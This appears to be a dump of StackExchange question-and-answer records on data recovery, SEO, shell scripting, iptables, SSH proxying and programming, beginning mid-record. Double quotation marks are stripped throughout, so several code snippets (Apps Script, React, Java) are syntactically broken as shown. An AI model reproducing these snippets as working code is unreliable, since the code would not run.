015f75aa 00004e1c   ._u...N.  015f75aa 00004e1c   ._u...N.01A0 00000000 00000000   ........  00000000 00000000   ........01A8 00000000 00000000   ........  00000000 00000000   ........01B0 00000000 00000000   ........  00000000 00000000   ........01B8 00000000 00000000   ........  00000000 00000000   ........01C0 00000000 00000000   ........  00000000 00000000   ........01C8 00000000 00000000   ........  00000000 00000000   ........01D0 00000000 00000000   ........  00000000 00000000   ........01D8 00000000 00000000   ........  00000000 00000000   ........01E0 00000000 00000000   ........  00000000 00000000   ........01E8 00000000 00000000   ........  00000000 00000000   ........01F0 00000000 00000000   ........  00000000 00000000   ........01F8 00000000 00000000   ........  00000000 00000000   ........HFS_HFSP_boot_sector 3 P HFS                       262208 3906963439 3906701232     HFS+ blocksize=4096, 2000 GB / 1862 GiBHFS+ magic value at 16/82/3HFS+ magic value at 16/82/3Volume headerHFS+ OKBackup volume headerHFS+ OKSectors are identical.HFS_HFSP_boot_sector 3 P HFS                       262208 3906963439 3906701232     HFS+ blocksize=4096, 2000 GB / 1862 GiBHFS+ magic value at 16/82/3HFS+ magic value at 16/82/3Volume headerHFS+ OKBackup volume headerHFS+ OKSectors are identical.New options : Dump : No Align partition: Yes Expert mode : NoTestDisk exited normally.I tried using all the listed backup blocks with e2fsck, but they all came back the same as invalid. Tried restoring the backup one via testdisk, still the same. Hoping to restore the drive without a low level dd= type solution, as I don't have 2TB of storage available for the image :( On the plus side, this isn't the system volume, so it's easy to attempt to mount/unmount without other issues.All help is appreciated, I've got about 20 tabs of forum posts open that tend to end in sad stories."  , "title": "Recovering from bad superblock on external drive"  , "tags": "data recovery;ext4;superblock"  } 
{  "id": "_webmaster.28462"  , "question": "We're currently implementing a voucher system on our site which will allow our users to obtain a 25+% discount on certain products, provided they donate 10% of the purchase price to charity.We will offer the ability to share the discounts via social media in return for larger discounts to the sharer for each person who clicks through the link and buys an item. I understand that social links have SEO benifits, but this appears to be based on lots of people sharing the same link. If our voucher users share a unique link i.e. http://ourdomain.com/sipsfesdf rather than a fixed link http://ourdomain.com/product-name will we still receive the same benifts?Should we instead share something like http://ourdomain.com/product-name/sipsfesdfThanks in advance."  , "title": "Sharing unique links on social media vs SEO"  , "tags": "seo"  , "accepted_answer": "If I understand you right, rel=canonical may be your friend.Specifically, I assume all those ourdomain.com/asdfghjkl links point to a page that is (almost) identical to that standard product page at ourdomain.com/product-name.  If so, you should mark them as being the same by including a tag like:<link rel=canonical href=http://ourdomain.com/product-name />in the head section of the page.  That way, search engines will treat links pointing to the shared links (almost) as if they had pointed directly to the main product page, and will only list that page in their result pages.Another possibility would be to have the shared links do a HTTP 301 redirect to the product page after recording that the vistor came in through the shared link.  (This is e.g. how the StackExchange software used on this site works: if you click the share buttons next to a question, or the word link below any post, you get a short link that contains your user ID.  When someone follows that link, the software records it and then redirects them to the normal URL of the page.)  For search engines, this has almost the same effect; the difference is that rel=canonical links are only parsed by search engines, while 301 redirects affect browsers too.  Generally, I'd consider 301 redirects more user friendly for purposes like this, but both so have some advantages.  For more information, see e.g. this page from Google's Webmaster Tools help.As for ourdomain.com/product-name/sipsfesdf vs. ourdomain.com/sipsfesdf, I doubt there's any SEO difference, at least as long as you use either rel=canonical or 301 redirects.  From a user experience viewpoint, the longer links are more informative, but also take up more space in a short message, which could make people more reluctant to share them.  I'd suggest allowing both, and deciding which to generate based on the medium (e.g. short links for Twitter, longer for Facebook since it parses them out anyway).  Or, for a generic copy this link and share it interface, you could present both and let the user choose."  } 
{  "id": "_webapps.73080"  , "question": "Google Sheets has a revision history accessible from File / See revision history. However, it doesn't appear to easily allow you to see when a particular part of the sheet (e.g. a cell) was changed? Is there an easy way to do this, short of clicking through every revision and seeing when that cell changes?(Incidentally, I would consider this analogous to features such as git blame from the git RCS)."  , "title": "Is there a quick way to see when a cell in a Google Sheets was last edited?"  , "tags": "google spreadsheets;version control"  } 
{  "id": "_webapps.86658"  , "question": "I have this code:function function1(event){   var timezone = GMT-8;  var timestamp_format = hh:mm:ss a;   var updateColName = Agent;  var timeStampColName = Start Time;  var sheet = event.source.getSheetByName(Active Review);   var actRng = event.source.getActiveRange();  var editColumn = actRng.getColumn();  var index = actRng.getRowIndex();  var headers = sheet.getRange(1, 1, 1, sheet.getLastColumn()).getValues();  var dateCol = headers[0].indexOf(timeStampColName);  var cell = sheet.getRange(index, dateCol + 1);  var date = Utilities.formatDate(new Date(), timezone, timestamp_format);  cell.setValue(date);}function function2(event){   var timezone = GMT-8;  var timestamp_format = hh:mm:ss a;   var updateColName = Additional Notes;  var timeStampColName = End Time;  var sheet = event.source.getSheetByName(Active Review);   var actRng = event.source.getActiveRange();  var editColumn = actRng.getColumn();  var index = actRng.getRowIndex();  var headers = sheet.getRange(1, 1, 1, sheet.getLastColumn()).getValues();  var dateCol = headers[0].indexOf(timeStampColName);  var cell = sheet.getRange(index, dateCol + 1);  var date = Utilities.formatDate(new Date(), timezone, timestamp_format);  cell.setValue(date);}The script only works if I only have function 1 or function 2. How can I merge these 2 events into one?"  , "title": "Run two timestamps for time in/out in one Google Sheets"  , "tags": "google spreadsheets;google apps script"  } 
{  "id": "_unix.298597"  , "question": "I'm trying to write an alias to get the ip of a docker container.The command is the following:docker inspect redis | grep IPAddress | awk 'NR==3{ print $2 }' | sed 's/[^]*\\([^]*\\).*/\\1/'If I launch it from command line it works properly.Then I inserted it into bash_aliases:alias redis-ip=docker inspect redis | grep IPAddress | awk 'NR==3{ print $2 }' | sed 's/[^]*\\([^]*\\).*/\\1/'But when I launch redis-ip I get this error:sed: -e expression #1, char 19: invalid reference \\1 on `s' command's RHSAnyone can tell me what is the error about?"  , "title": "`sed` regexp error"  , "tags": "linux;sed;docker"  , "accepted_answer": "Do use a shell function for this rather than an alias:function redis-ip {  docker inspect redis |  grep IPAddress |  awk 'NR == 3 { print $2 }' |  sed 's/[^]*\\([^]*\\).*/\\1/'}If the sed does what you want or not, I don't know as I don't know what the docker command outputs."  } 
{  "id": "_unix.26006"  , "question": "When you setup a new Ubuntu or OS X installation a user is generally created for you. On OS X it is whatever username you pick. On Ubuntu (the server version) usually the ubuntu user is created.The way I understand it, there is also a root user, which you can access via something like sudo su - root, and entering the password of the ubuntu or the user you created, which is part of the administrators group. Once you switch to root I think you can use the passwd command and change root's password.But what was root's password before that? Does it exist? Is it a random string of numbers and letters? How does the system deal with that?"  , "title": "Is there a root password on OS X and Ubuntu?"  , "tags": "ubuntu;osx;password;root"  , "accepted_answer": "I can answer only for Ubuntu.In Ubuntu the root user has a locked password. From passwd man page:   -l, --lock           Lock the password of the named account. This option disables a            password by changing it to a value which matches no possible            encrypted value (it adds a '!' at the beginning of the password).You can see the ! in /etc/shadow.A user with a locked account cannot change its password, but root can, without prior entering of the old password."  } 
{  "id": "_codereview.123188"  , "question": "I am working on an app in which I need to get destination list from server and set it in autocomplete text view. I am using text watcher and on its onTextChanged event I am fetching destinations data using async task. My problem is I am not sure that am I doing it in a right way. Please review my code belowFragmentHotels.javapublic class FragmentHotels extends Fragment implements TextWatcher {        final Handler mHandler=new Handler();    @Override    public void onAttach(Activity activity) {        super.onAttach(activity);    }    public FragmentHotels() {        // Required empty public constructor    }    @Override    public void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);    }    @Override    public View onCreateView(LayoutInflater inflater, ViewGroup container,                             Bundle savedInstanceState) {        // Inflate the layout for this fragment        View rootView = inflater.inflate(R.layout.fragment_hotels, container, false);        etDestination = (AutoCompleteTextView) rootView.findViewById(R.id.et_destination);        etDestination.addTextChangedListener(this);                return rootView;    }    @Override    public void beforeTextChanged(CharSequence s, int start, int count, int after) {    }    @Override    public void onTextChanged(CharSequence s, int start, int before, int count) {        Log.i(TAG, TEXT CHANGED TO:  + s.toString());        if(!TextUtils.isEmpty(s.toString())) {            getDestinationsAsync(s.toString());        }    }    @Override    public void afterTextChanged(Editable s) {    }    private void getDestinationsAsync(final String term){        new AsyncTask<Void,Void,Void>(){            final String t=term;            final Map<String,String> postParams=new HashMap<>();            @Override            protected Void doInBackground(Void... params) {                Log.i(TAG,do in background in getDestinationAsync);                postParams.put(term,t);                new PostHandler(TAG,2,2000).doPostRequest(http://www.bhagwatiholidays.com/admin/webservice/destination_name.php,                        postParams,                        new PostHandler.ResponseCallback() {                            @Override                            public void response(int status, String response) {                                Log.i(TAG,GOT RESPONSE SUCCESSFULLY);                                try {                                    Log.i(TAG,PARSING JSON);                                    JSONArray array = new JSONArray(response);                                    Log.i(TAG,JSON ARRAY SIZE: +array.length());                                    final String[] destinations=new String[array.length()];                                    for(int i=0;i<array.length();i++){                                        Log.i(TAG,LABEL: +array.getJSONObject(i).getString(label));                                        destinations[i]=array.getJSONObject(i).getString(label);                                    }                                    Log.i(TAG, SETTING ADAPTER NOW);                                    mHandler.post(new Runnable() {                                        @Override                                        public void run() {                                            FragmentHotels.this.etDestination.setAdapter(new ArrayAdapter<String>(FragmentHotels.this.getActivity(),                                                    android.R.layout.simple_list_item_1, destinations));                                        }                                    });                                }                                catch (JSONException e){                                    e.printStackTrace();                                }                            }                        });                return null;            }        }.execute();    }}"  , "title": "Loading autocomplete text view adapter dynamically using async task in Android"  , "tags": "java;android;json"  } 
{  "id": "_webmaster.67940"  , "question": "I want to check if on a web page I can find defined words. For example I want to check if a web page contains word 'abc'.I know that some pages contains meta tag with name = keywords and name=description.But now every page contains this tag. So I'm also searching in <p> tags. But where else I should search for a matching words to determine the topic of the page?"  , "title": "How to find keywords in HTML code?"  , "tags": "html;keywords;meta keywords"  , "accepted_answer": "There are several things you can do. You can view page source code and look for the following:title tagdescription meta-tagh1, h2, h3... tagsfirst 1 or 2 paragraphsYou will want to discount any stop words of common words of course. While the description meta-tag has little or no value for SEO, it does offer great clues to keywords and page topic. You can always create a spread-sheet to keep track of pages and keywords of course.Another option, and one that I prefer, is to use a keyword density analyzer. Keyword density for SEO is largely a myth, however, these tools offer great clues to the hidden potential of any page and clearly pin-points the topic keywords that any page will perform well for. This may be the best option for you.My favorite now requires an account: http://www.ranks.nl/ This may be a good idea if you are going to use a tool often. Today, I recommend: http://tools.seobook.com/general/keyword-density/ This is a free tool and not quite as detailed as ranks.nl but may be good enough for your purposes. I use both from time to time to check that I am on track when I write a new page.Another option is to use an SEO analysis tool. I like best for this: SEO PowerSuite from http://www.link-assistant.com/ This is an expensive option and I only recommend this if you need to use the tool a lot for competitive analysis or checking your own work on a larger site.If this is too much for you, then perhaps Screaming Frog can help: http://www.screamingfrog.co.uk/seo-spider/ It can be free up to a limit (500 pages), then you have to purchase a license. People seem to like this tool and I have tried it. It requires the option to spider your site directly. I suspect you can target single pages too. Please note, there are more features than listed on this initial page so dig deeper if this looks like a good option for you. I can recommend this tool from my experience."  } 
{  "id": "_webmaster.100479"  , "question": "Lets assume my website is mywebsite.com. I need to block the website for all the countries except India. But we need to handle the block gracefully, i.e. showing a page that right now the site is not providing services in their country. Page on my website visible in India: mywebsite.com/category.phpWhen someone outside India opens the website they should see the following URLs:mywebsite.com/world/category.phpKindly note that Google Search should always show the URLs without world in there. Following are the solutions I have on mind:Scenario: Someone tries to open mywebsite.com/category.php from US. The code will check for the IP location and the user would be redirected to mywebsite.com/world/category.phpSolution1: Add no follow and no index tags on mywebsite.com/world/category.php so that Google does not index this page and use a 302 redirection. This page will be served to everyone from outside India. Solution2: Add a 302 redirect from mywebsite.com/category.php to mywebsite.com/world/category.php and also add canonical on mywebsite.com/world/category.php as website.com/category.phpProblem in this approach is loop for Google bot, first we are doing a redirect and then we are putting a canonical to the one which as redirected. Sounds wrong to me but I am not sure. Note: This question is related SEO strategy. I want your suggestions on my SEO strategy. I do not want any technical solution for redirection from .htaccess or IP blocking outside India traffic . "  , "title": "How can I block my website in other countries?"  , "tags": "seo;301 redirect;web development;canonical url;ecommerce"  } 
{  "id": "_unix.270552"  , "question": "Is there any difference between (# comments taken from documentation)command > filename  # Docs: Redirect stdout to a file.andcommand 1> filename # Docs: Redirect stdout to file filename."  , "title": "Difference between 1> and >"  , "tags": "bash;shell;files;io redirection"  , "accepted_answer": "From the Bash manual's section on Redirection (emphasis mine):Redirection of output causes the file whose name results from the  expansion of word to be opened for writing on file descriptor n,  or the standard output (file descriptor 1) if n is not specified. If  the file does not exist it is created; if it does exist it is  truncated to zero size.So, there is no difference between >foo and 1>foo."  } 
{  "id": "_cs.69140"  , "question": "Is it possible to use the theorem of Rice to prove that the emptiness problem is undecidable?With the emptiness problem I mean the question if a certain machine doens't accept any input ?If you can prove it using the theorem of Rice, can you also prove the acceptance problem (if a certain machine will accept a certain string?)."  , "title": "Rice theorem to prove Emptiness problem"  , "tags": "computability;undecidability;decision problem"  } 
{  "id": "_datascience.19408"  , "question": "I'm new to machine learning. I have implemented a simple SVR, and I have noticed that there is a strong error reduction when I normalize or scale both input features and output (feature). I would like to know:There are some drawbacks in normalizing/scaling the output?The output value could be affected by this transformation?How can I retrieve the original output value?"  , "title": "Relation between output normalization and error value, performing regression"  , "tags": "regression;svm;normalization"  } 
{  "id": "_unix.88628"  , "question": "I have a command that processes data slowly. The command processes lines from a file and writes the results to the output file data.txt:my_command > data.txtThe issue I have is that I'd like to examine output lines in the data.txt file as they are processed. The problem is that no output appears in my output file until the OS decides to dump data to the output file, which happens every few hours. Is there anyway I can force data to be flushed to the file more frequently?"  , "title": "Flush data to file frequently for long running command?"  , "tags": "pipe"  , "accepted_answer": "One option is to unbuffer your command's stdout using stdbuf from GNU Coreutils.I doubt I would be able to explain the technicalities behind it any better than the author does here"  } 
{  "id": "_unix.93550"  , "question": "Ideally i m trying to use my laptop and a 3Gphone as a WiFi router to redirect FORWARD HTTP but not HTTPS Traffic to privoxy which then forwards the traffic via a SSH tunnel to a ziproxy VPS.for the sake of simplicity privoxy is currently set to defaults ie is not forwarding to another proxy. with exception to accept intersepts 1 also sysctl net.ipv4.ip_forward=1the following iptable commands work locally but is ignored by FORWARD traffic ie users connected by wifi are not filtered by privoxy but the local user is, i want the opposite behaviouriptables -t nat -A POSTROUTING -o ${INTERNET_IFACE} -j MASQUERADEiptables -t nat -A OUTPUT -p tcp --dport 80 -m owner --uid-owner privoxy -j ACCEPTiptables -t nat -A OUTPUT -p tcp --dport 80 -j REDIRECT --to-ports 8118iptables -A FORWARD -i ${WIFI_IFACE} -j ACCEPTHow do I force FORWARD HTTP traffic to go through privoxy ?"  , "title": "iptables redirect FORWARD http traffic to privorxy port"  , "tags": "iptables;privoxy"  , "accepted_answer": "The reason it doesn't work is because you can only modify packets in certain ways at certain parts of the netfilter stack. Modifying the destination on the way out is too late. You need to modify it on the way in.iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8118I recommend researching the various tables that make up the netfilter stack."  } 
{  "id": "_codereview.82485"  , "question": "I have a component that I want to render with certain styling based upon the props that it will receive. I'm currently defaulting the prop types, and then creating the styling at render as such: getDefaultProps: function(){  return{    size: small,    shape: rounded  };},statics : {  function getShape(shape){    if(shape === rounded){      return 59px;    }else{      return 2px;    }  },  function getSize(size){    if(size === large){      return 136px;    }else if(size===medium){      return 68px;    }else{      return 34px;    }  }},render: function(){  var borderpx = Avatar.getShape(this.props.shape);  var imgpx = Avatar.getSize(this.props.size);  return(    <img src={this.props.img}  style={{border-radius : borderpx, height: imgpx}}  />  );}What I'm trying to figure out:Is this the correct way to dynamically render the style in React?Is there anything in my code that I could do better?"  , "title": "Changing Component Style"  , "tags": "javascript;react.js"  } 
{  "id": "_softwareengineering.205901"  , "question": "There are some design guidelines about testable code in The Art of Unit Testing. The first one is Make methods virtual by default. Im curious to know your idea about non-virtual-by-default behavior in C#. Ive read about Hejlsberg opinions but I think one the most important reasons could be that it may lead us to composition over inheritance principal.Could composition over inheritance be one of those reasons which make non-virtual-by-default preferred over virtual-by-default?UPDATERegarding this subject, please consider test-driven point of view; where we want to write testable code. While we are encouraged to make all members virtual by default (at the mentioned book), we can follow composition over inheritance and keep going non-virtual-by-default. Isn't it better?"  , "title": "Does non-virtual-by-default lead us to composition-over-inheritance?"  , "tags": "c#;design patterns;object oriented;unit testing;inheritance"  } 
{  "id": "_datascience.12964"  , "question": "From Tensorflow code: Tensorflow. RnnCell.num_units: int, The number of units in the LSTM cell.Can't undestand what does this mean. What are the units of LSTM cell. Input, Output and forget gates? Does this mean number of units in the recurrent projection layer for Deep LSTM. Then why does this is called number of units in the LSTM cell?   What is LSTM cell and what is difference VS LSTM block, what is minimal LSTM unit if not cell?"  , "title": "What is the meaning of The number of units in the LSTM cell?"  , "tags": "neural network;tensorflow;rnn"  , "accepted_answer": "As the helpful comments in that function say,The definition of cell in this package differs from the definition used in the    literature. In the literature, cell refers to an object with a single scalar    output. The definition in this package refers to a horizontal array of such    units.In essence, the layer will contain multiple parallel LSTM units, structurally identical but each eventually learning to remember some different thing."  } 
{  "id": "_unix.156478"  , "question": "I am trying to emulate an enviroment that has centos5 and tomcat6 (for some reason), which is a problem because there are no RPMs for tomcat6 which are compatible with centos5 available to me.  I do have the source for tomcat6 and I can build it from source.However, I have a number of RPMs which I would like to use that are dependent on tomcat6.  I know they will run on centos5 and should work if installed.  However, they won't install because even if I did install tomcat6 the RPMs would think it was not installed due to tomcat6 RPM not being installed, only the code.Is there a way to express to RPM/yum that I have built the program as source and it should move on and do the install anyways?  I know I can just force the install, but is there a more elegant approach?"  , "title": "make RPM recognize dependency built from source"  , "tags": "yum;rpm"  , "accepted_answer": "So you have unsatisfied dependencies that you need to stub out.Make a dummy package that supplies the missing Provides: isthe general approach.(aside)RPM5 (this isn't you) also permits Requires: to be stubbed outusing a configuration file /etc/rpm/sysinfo/Providename."  } 
{  "id": "_softwareengineering.160675"  , "question": "What do you call classes without methods?For example,class A{  public string something;  public int a;}Above is a class without any methods. Does this type of class have a special name?"  , "title": "What do you call classes without methods?"  , "tags": "programming languages;naming;data structures;class"  , "accepted_answer": "Most of the time: An anti pattern.Why? Because it faciliates procedural programming with Operator classes and data structures. You separate data and behaviour which isn't exactly good OOP.Often times: A DTO (Data Transfer Object)Read only datastructures meant to exchange data, derived from a business/domain object.Sometimes: Just data structure.Well sometimes, you just gotta have those structures to hold data that is just plain and simple and has no operations on it. But then I wouldn't use public fields but accessors (getters and setters)."  } 
{  "id": "_codereview.70054"  , "question": "How idiomatic is my code? var Clock = function(hour, minute) {  this.hour = hour || 0;  this.minute = minute || 0;  this.plus = function(minutes) {    computed_minutes = this.minute + minutes    if (computed_minutes > 60) {      this.minute = computed_minutes % 60      this.hour += computed_minutes / 60    } else {      this.minute = computed_minutes    }    if (this.hour >= 24) {      this.hour = this.hour - 24    }    this.hour = Math.round(this.hour)    this.minute = Math.round(this.minute)    return this;  },  this.minus = function(minutes) {    computed_minutes = this.minute - minutes    if (computed_minutes < 0) {      this.minute = 60 + computed_minutes % 60      this.hour -= (1 + Math.abs(computed_minutes / 60))    } else {      this.minute = computed_minutes;    }    if (this.hour < 0) {      this.hour = 24 + this.hour    }    this.hour = Math.round(this.hour)    this.minute = Math.round(this.minute)    return this;  },  this.equals = function(other) {    return this.hour == other.hour && this.minute == other.minute;  }}Clock.at = function(hour, minute) {  c = new Clock(hour, minute);  return c;}Clock.prototype.toString = function() {  function format(n) {    return n >= 10 ? n : 0 + n;  }  return format(this.hour) + : + format(this.minute)}module.exports = Clock;"  , "title": "Implement a Clock in JavaScript"  , "tags": "javascript;datetime"  , "accepted_answer": "Some issues:Every instance of Clock gets its own instance of plus and minus rather than attaching these functions to the prototype.Clock.at sets a global variable c.Clock.prototype.toString creates the format function each time it is called; you can move this out of the function and into a different scope so it is only created once.plus and minus do a lot of checking that could be moved into a single set function and then this can also be called from the constructor (so that the same checks and rounding is also done in the constructor).24 and 60 appear as magic constants. In this context it is easy to understand what they are but it would be better to assign them to named constants (HOURS_PER_DAY and MINUTES_PER_HOUR) that identify why those magic numbers are being used.My suggestions:module.export = (function(){    var Clock = function( hours, minutes ) {      this.set( hours, minutes )    }    Clock.at = function(hours, minutes) {      return new Clock(hours, minutes);    }    Clock.HOURS_PER_DAY = 24;    Clock.MINUTES_PER_HOUR = 60;    Clock.prototype.set = function( hours, minutes ){        var hrs = Math.round( hours || 0 );         var mns = Math.round( minutes || 0 );        this.hour = ( hrs + Math.floor( mns / Clock.MINUTES_PER_HOUR ) ) % Clock.HOURS_PER_DAY;        if ( this.hour < 0 )        {            this.hour += Clock.HOURS_PER_DAY;        }        this.minute = mns % Clock.MINUTES_PER_HOUR;        if ( this.minute < 0 )        {            this.minute += Clock.MINUTES_PER_HOUR;        }        return this;    }    Clock.prototype.plus = function(minutes) {     return this.set( this.hour, this.minute + minutes )    },    Clock.prototype.minus = function(minutes) {     return this.set( this.hour, this.minute - minutes );    },    Clock.prototype.equals = function(other) {     return this.hour == other.hour && this.minute == other.minute;    }    function format(n) {        return n >= 10 ? n : 0 + n;    }    Clock.prototype.toString = function() {          return format(this.hour) + : + format(this.minute)    }    return Clock;})();"  } 
{  "id": "_unix.10362"  , "question": "In ps xf26395 pts/78   Ss     0:00  \\_ bash27016 pts/78   Sl+    0:04  |   \\_ unicorn_rails master -c config/unicorn.rb                                           27042 pts/78   Sl+    0:00  |       \\_ unicorn_rails worker[0] -c config/unicorn.rb                                        In htop, it shows up like:Why does htop show more process than ps?"  , "title": "Why does `htop` show more process than `ps`"  , "tags": "process;ps;top;htop;thread"  , "accepted_answer": "By default, htop lists each thread of a process separately, while ps doesn't. To turn off the display of threads, press H, or use the Setup / Display options menu, Hide userland threads. This puts the following line in your ~/.htoprc or ~/.config/htop/htoprc (you can alternatively put it there manually):hide_userland_threads=1(Also hide_kernel_threads=1, toggled by pressing K, but it's 1 by default.)Another useful option is Display threads in a different color in the same menu (highlight_threads=1 in .htoprc), which causes threads to be shown in a different color (green in the default theme).In the first line of the htop display, there's a line like Tasks: 377, 842 thr, 161 kthr; 2 running. This shows the total number of processes, userland threads, kernel threads, and threads in a runnable state. The numbers don't change when you filter the display, but the indications thr and kthr disappear when you turn off the inclusion of user/kernel threads respectively.When you see multiple processes that have all characteristics in common except the PID and CPU-related fields (NIce value, CPU%, TIME+, ...), it's highly likely that they're threads in the same process. "  } 
{  "id": "_cs.76171"  , "question": "Continuing from this answer: https://cs.stackexchange.com/a/56072/43035I don't understand how it's possible to map many transition functions $\\delta_1,...,\\delta_n$ of a NDTM into just two transition functions $\\delta_0',\\delta_1'$. How will conflicts be handled?For example: $\\delta_1(q_1, a) = (q_2, b, R)\\\\ \\delta_2(q_1, a) = (q_3, c, L)\\\\ \\delta_3(q_1, a) = (q_4, d, R)$ How can you map $\\delta_3$?"  , "title": "Mapping many transition functions into two transition functions"  , "tags": "complexity theory;turing machines;nondeterminism"  , "accepted_answer": "Suppose that you have three options $o_1,o_2,o_3$.You first guess whether to apply $o_1$ or not; if not, you stay in place.If you didn't apply $o_1$, you guess whether to apply $o_2$ or $o_3$.Here is how to implement it using transitions, using your example:$$\\begin{align*}&\\delta_1(q_1,a) = (q_2,b,R) \\\\&\\delta_2(q_1,a) = (q_s,a,R) \\\\&\\delta_1(q_s,\\sigma) = (q_t,\\sigma,L) \\\\&\\delta_2(q_s,\\sigma) = (q_t,\\sigma,L) \\\\&\\delta_1(q_t,a) = (q_3,c,L) \\\\&\\delta_2(q_t,a) = (q_4,d,R)\\end{align*}$$Here $q_s,q_t$ are new states, and $\\sigma$ is any tape symbol."  } 
{  "id": "_cstheory.38147"  , "question": "Supposing if $P^{\\#P}\\subseteq BPP$ then polynomial hierarchy collapses. Does the counting hierarchy collapse as well?Irrespective of $P^{\\#P}\\subseteq BPP$ are there any collapse results of counting hierarchy that imply collapse results of polynomial hierarchy and vice versa?"  , "title": "Where is the counting hierarchy if polynomial hierarchy collapses?"  , "tags": "counting complexity;polynomial hierarchy"  } 
{  "id": "_unix.367888"  , "question": "I have this ~/.ssh/confi script to connect to a distant server (very distant, another contintent) through a firewall:Host ras                HostName ras.cse.ust.hk    User farshidhss    ForwardAgent yes    ForwardX11 no        LogLevel DEBUG3    ServerAliveInterval 10    ServerAliveCountMax 3Host farshid    HostName 10.89.226.143    User luca    ForwardX11 no        LogLevel DEBUG3    ServerAliveInterval 10    ServerAliveCountMax 3    ProxyCommand ssh -o 'ForwardAgent yes' -o 'ForwardX11 no' ras 'ssh-add && nc %h %p'It's weird because 25% of the times I can connect successfully, but most of the times I get these messages:luca@jarvis:~$ ssh farshiddebug1: Executing proxy command: exec ssh -o 'ForwardAgent yes' -o 'ForwardX11 no' ras 'ssh-add && nc 10.89.226.143 22'debug1: permanently_drop_suid: 1000debug1: identity file /home/luca/.ssh/id_rsa type 1debug1: key_load_public: No such file or directorydebug1: identity file /home/luca/.ssh/id_rsa-cert type -1debug1: key_load_public: No such file or directorydebug1: identity file /home/luca/.ssh/id_dsa type -1debug1: key_load_public: No such file or directorydebug1: identity file /home/luca/.ssh/id_dsa-cert type -1debug1: key_load_public: No such file or directorydebug1: identity file /home/luca/.ssh/id_ecdsa type -1debug1: key_load_public: No such file or directorydebug1: identity file /home/luca/.ssh/id_ecdsa-cert type -1debug1: key_load_public: No such file or directorydebug1: identity file /home/luca/.ssh/id_ed25519 type -1debug1: key_load_public: No such file or directorydebug1: identity file /home/luca/.ssh/id_ed25519-cert type -1debug1: Enabling compatibility mode for protocol 2.0debug1: Local version string SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.1debug2: resolving ras.cse.ust.hk port 22debug2: ssh_connect_direct: needpriv 0debug1: Connecting to ras.cse.ust.hk [143.89.40.101] port 22.debug1: connect to address 143.89.40.101 port 22: Connection timed outssh: connect to host ras.cse.ust.hk port 22: Connection timed outssh_exchange_identification: Connection closed by remote hostWhy and how can I solve this?"  , "title": "SSH Connection timed out for server via firewall?"  , "tags": "ssh;firewall"  } 
{  "id": "_webapps.102535"  , "question": "I'm trying to add a photo to Google Maps which I have taken with my digital camera which has no built in GPS. Google maps did't show any option to add a new photo so I checked Google Maps Help to learn how to add a new photo, but in the section Add photos from Your contributions it says Under the Contribute tab, click Add your photos to Maps. You might  not see this option if you haven't taken any photos with your phone or  we can't find a location for your photos.Is there any other way I can add non Geo Tagged photos to Google Maps?"  , "title": "How to add Non Geo Tagged Photo to Google Maps?"  , "tags": "google maps;photos"  } 
{  "id": "_unix.245780"  , "question": "But they give instructions likecd downloaded_program./configuremake installThis creates the ELF that is needed, and probably some .so files.Why not put those inside a zip file for download, like with windows apps? Is there any reason why they need to be compiled by the user?"  , "title": "Why are programs not distributed in compiled format?"  , "tags": "software installation;package management;make;source;elf"  } 
{  "id": "_unix.317822"  , "question": "I am trying to go through individual emails and retrieve the host name.Each email has a To: section with an email address abc123@aol.com. I'm trying to retrieve just aol.comEg:To: abc123@aol.com (abc123)To: jim@yahoo.com,hk (Jim)To: Jim@yahoo.com\\ (Jim)Expected output:aol.comyahoo.com,hkyahoo.com\\"  , "title": "retrieving host name from email address"  , "tags": "text processing;regular expression;email"  } 
{  "id": "_webmaster.14940"  , "question": "I've the following code:p{font-family: Helvetica, Arial, sans-serif;font-weight:100;}It works on Mac OSX on Safari and Firefox, but the font-weight don't work on Windows in any browser.Why? How can I solve that?"  , "title": "font-weight on Windows"  , "tags": "css;windows"  } 
{  "id": "_unix.97967"  , "question": "It's a fresh install of Sabayon Linux. I installed mysql (equo install dev-db/mysql), configured it (emerge --config ...), but it doesn't start using /etc/init.d script:# /etc/init.d/mysql start * WARNING: mysql is already starting# /etc/init.d/mysql status * You are attempting to run an openrc service on a * system which openrc did not boot. * You may be inside a chroot or you may have used * another initialization system to boot this system. * In this situation, you will get unpredictable results! * If you really want to do this, issue the following command: * touch /run/openrc/softlevel# /etc/init.d/mysql stop * ERROR: mysql stopped by something elseTouching /run/openrc/softlevel causes even more errors. Googling doesn't advise much.I remember recent OpenRC migration on my Gentoo box, but there I'm still using init.d scripts. Anything else changed I didn't notice?"  , "title": "Sabayon - mysql (and other services) won't start"  , "tags": "gentoo;init script;init;sabayon;openrc"  , "accepted_answer": "Some of services run by process manager such as : upstart, systemd, OpenRC (your case) , SysV and so on. if get ps ax |ergep -i mysql you'll find out myql is running, Use the following documentation: OpenRC doc"  } 
{  "id": "_webapps.9707"  , "question": "I would like to do a search query and filter out all results from www.foo.com. How do I do that?"  , "title": "How to exclude a domain from Google search?"  , "tags": "google search"  , "accepted_answer": "This may help: (From this site:http://www.greghughes.net/rant/HowToExcludeADomainFromYourGoogleSearchResults.aspx)Note the minus sign that precedes the site: search operator in this case. That's how we tell Google to exclude the site/domain specified. So there you have it. Want to exclude a domain from your search term? Just specify the domain with -site: and you're all set.But what if you don't want to specify the domain to exclude every time by hand? In that case, set up a Google Custom Search Engine (http://www.google.com/coop/cse/) and specify during setup that you want your custom search engine to include results from the entire Internet. Then, after your search engine has been created, go to the Control Panel, choose the Sites tab, and from there you can specify as many domains as you like to exclude from every search. You'll get a custom search engine that you can tweak to your heart's content."  } 
